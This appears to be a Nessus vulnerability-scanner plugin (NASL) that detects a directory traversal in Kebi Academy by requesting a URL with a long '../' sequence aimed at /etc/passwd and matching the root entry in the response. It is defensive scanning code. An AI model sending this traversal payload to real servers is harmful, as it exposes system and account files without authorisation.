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- # This script was written by Renaud Deraison
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(11453);
- script_bugtraq_id(7125);
-
-
- script_version("$Revision: 1.6 $");
-
- name["english"] = "Kebi Academy Directory Traversal";
- script_name(english:name["english"]);
-
- desc["english"] = "
- Kebi Academy is vulnerable to a directory traversal.
- It enables a remote attacker to view any file on the computer
- with the privileges of the cgi/httpd user.
-
- Solution : Contact the vendor at http://solution.nara.co.kr/
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "kebi academy is vulnerable to an exploit which lets an attacker view any file that the cgi/httpd user has access to.";
-
- script_summary(english:summary["english"]);
- script_category(ACT_GATHER_INFO);
- script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison");
- family["english"] = "CGI abuses";
- script_family(english:family["english"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
-
-
- if(!get_port_state(port))exit(0);
-
-
- function check(url)
- {
- local_var req, r;
-
- req = http_get(item:url, port:port);
- r = http_keepalive_send_recv(port:port, data:req);
- if ( r == NULL ) exit(0);
-
- if(egrep(pattern:".*root:.*:0:[01]:", string:r))
- {
- security_hole(port:port);
- return(1);
- }
- return(0);
- }
-
-
- alldirs = make_list("", "/k");
-
-
- dirs = cgi_dirs();
- foreach d (dirs)
- {
- alldirs = make_list(alldirs, d, string(d, "/k"));
- }
-
-
- foreach d (alldirs)
- {
- url = string(d, "/home?dir=/&file=../../../../../../../../../../../../etc/passwd&lang=kor");
- if(check(url:url))exit(0);
- }
-